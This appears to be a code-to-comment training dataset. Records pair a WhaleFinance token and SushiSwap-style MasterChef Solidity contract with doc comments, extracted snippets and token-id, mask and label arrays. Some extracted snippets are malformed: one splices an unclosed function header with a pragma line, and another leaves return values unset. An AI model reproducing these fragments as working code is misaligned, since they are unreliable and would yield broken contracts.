1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
4232,
39,
27,
5340,
1880,
16703,
4575,
353,
4232,
39,
27,
5340,
37,
16,
14223,
6914,
16,
5982,
49,
474,
2277,
16,
13456,
2277,
288,
203,
565,
1450,
8139,
364,
2254,
5034,
31,
203,
203,
565,
2254,
5034,
1071,
225,
943,
3088,
1283,
31,
203,
565,
2254,
5034,
1071,
225,
943,
49,
474,
31,
203,
565,
2254,
5034,
1071,
225,
1071,
30746,
5147,
31,
203,
203,
565,
533,
3238,
225,
1026,
1345,
3006,
31,
203,
565,
533,
1071,
282,
6695,
1345,
3006,
31,
203,
203,
565,
1426,
1071,
28627,
537,
18931,
31,
203,
565,
1426,
1071,
1071,
30746,
31,
203,
565,
1426,
1071,
11722,
31,
203,
565,
1426,
1071,
5927,
49,
474,
329,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
2078,
4782,
49,
474,
31,
203,
203,
565,
3885,
12,
203,
3639,
533,
3778,
389,
529,
16,
203,
3639,
533,
3778,
389,
7175,
16,
203,
3639,
533,
3778,
389,
1969,
1345,
3006,
16,
203,
3639,
533,
3778,
389,
12988,
1345,
3006,
16,
203,
3639,
1758,
389,
3800,
15006,
18241,
16,
203,
3639,
2254,
10392,
389,
3800,
15006,
38,
1121,
16,
203,
3639,
2254,
5034,
389,
1896,
3088,
1283,
16,
203,
3639,
2254,
5034,
389,
1896,
49,
474,
16,
203,
3639,
2254,
5034,
389,
482,
30746,
5147,
203,
203,
203,
203,
565,
262,
4232,
39,
27,
5340,
37,
24899,
529,
16,
389,
7175,
13,
288,
203,
3639,
1026,
1345,
3006,
273,
389,
1969,
1345,
3006,
31,
203,
3639,
6695,
1345,
3006,
273,
389,
12988,
1345,
3006,
31,
203,
3639,
2
]
|
/**
*Submitted for verification at Etherscan.io on 2020-10-05
*/
pragma solidity ^0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.2;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(
value
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
pragma solidity ^0.6.0;
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index)
private
view
returns (bytes32)
{
require(
set._values.length > index,
"EnumerableSet: index out of bounds"
);
return set._values[index];
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value)
internal
returns (bool)
{
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint256(_at(set._inner, index)));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index)
internal
view
returns (uint256)
{
return uint256(_at(set._inner, index));
}
}
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity ^0.6.0;
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.6.0;
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
virtual
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity 0.6.12;
contract WHFI is ERC20("WhaleFinance", "WHFI"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
pragma solidity 0.6.12;
// MasterChef is the master of Sushi. He can make Sushi and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once SUSHI is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of SUSHIs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accSushiPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accSushiPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. SUSHIs to distribute per block.
uint256 lastRewardBlock; // Last block number that SUSHIs distribution occurs.
uint256 accSushiPerShare; // Accumulated SUSHIs per share, times 1e12. See below.
}
// The SUSHI TOKEN!
WHFI public sushi;
// Dev address.
address public devaddr;
// Block number when bonus SUSHI period ends.
uint256 public bonusEndBlock;
// SUSHI tokens created per block.
uint256 public sushiPerBlock;
// Bonus muliplier for early sushi makers.
uint256 public constant BONUS_MULTIPLIER = 1;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when SUSHI mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(
address indexed user,
uint256 indexed pid,
uint256 amount
);
constructor(
WHFI _sushi,
address _devaddr,
uint256 _sushiPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
sushi = _sushi;
devaddr = _devaddr;
sushiPerBlock = _sushiPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(
uint256 _allocPoint,
IERC20 _lpToken,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock
? block.number
: startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accSushiPerShare: 0
})
);
}
// Update the given pool's SUSHI allocation point. Can only be called by the owner.
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
_allocPoint
);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to)
public
view
returns (uint256)
{
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return
bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending SUSHIs on frontend.
function pendingSushi(uint256 _pid, address _user)
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSushiPerShare = pool.accSushiPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(
pool.lastRewardBlock,
block.number
);
uint256 sushiReward = multiplier
.mul(sushiPerBlock)
.mul(pool.allocPoint)
.div(totalAllocPoint);
accSushiPerShare = accSushiPerShare.add(
sushiReward.mul(1e12).div(lpSupply)
);
}
return user.amount.mul(accSushiPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 sushiReward = multiplier
.mul(sushiPerBlock)
.mul(pool.allocPoint)
.div(totalAllocPoint);
sushi.mint(address(this), sushiReward);
pool.accSushiPerShare = pool.accSushiPerShare.add(
sushiReward.mul(1e12).div(lpSupply)
);
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for SUSHI allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user
.amount
.mul(pool.accSushiPerShare)
.div(1e12)
.sub(user.rewardDebt);
safeSushiTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accSushiPerShare).div(1e12).sub(
user.rewardDebt
);
safeSushiTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe sushi transfer function, just in case if rounding error causes pool to not have enough SUSHIs.
function safeSushiTransfer(address _to, uint256 _amount) internal {
uint256 sushiBal = sushi.balanceOf(address(this));
if (_amount > sushiBal) {
sushi.transfer(_to, sushiBal);
} else {
sushi.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
} | @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). | function _beforeTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity 0.6.12;
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
| 11,984,745 | [
1,
2729,
1375,
67,
8949,
68,
1147,
358,
1375,
67,
869,
8338,
6753,
1338,
506,
2566,
635,
326,
3410,
261,
7786,
39,
580,
74,
2934,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
5771,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
97,
203,
203,
683,
9454,
18035,
560,
374,
18,
26,
18,
2138,
31,
203,
203,
565,
445,
312,
474,
12,
2867,
389,
869,
16,
2254,
5034,
389,
8949,
13,
1071,
1338,
5541,
288,
203,
3639,
389,
81,
474,
24899,
869,
16,
389,
8949,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0x86a9a3153a423651c4aC6015ab6f95fAc3bD5518/sources/contracts/Contract.sol | View function to get sale information | function getSaleInfo() external view returns (uint256 tokensAt5M, uint256 tokensAt10M, uint256 expectedEthAt5M, uint256 expectedEthAt10M) {
tokensAt5M = tokensFor5M;
tokensAt10M = tokensFor10M;
}
| 5,686,641 | [
1,
1767,
445,
358,
336,
272,
5349,
1779,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1322,
5349,
966,
1435,
3903,
1476,
1135,
261,
11890,
5034,
2430,
861,
25,
49,
16,
2254,
5034,
2430,
861,
2163,
49,
16,
2254,
5034,
2665,
41,
451,
861,
25,
49,
16,
2254,
5034,
2665,
41,
451,
861,
2163,
49,
13,
288,
203,
3639,
2430,
861,
25,
49,
273,
2430,
1290,
25,
49,
31,
203,
3639,
2430,
861,
2163,
49,
273,
2430,
1290,
2163,
49,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
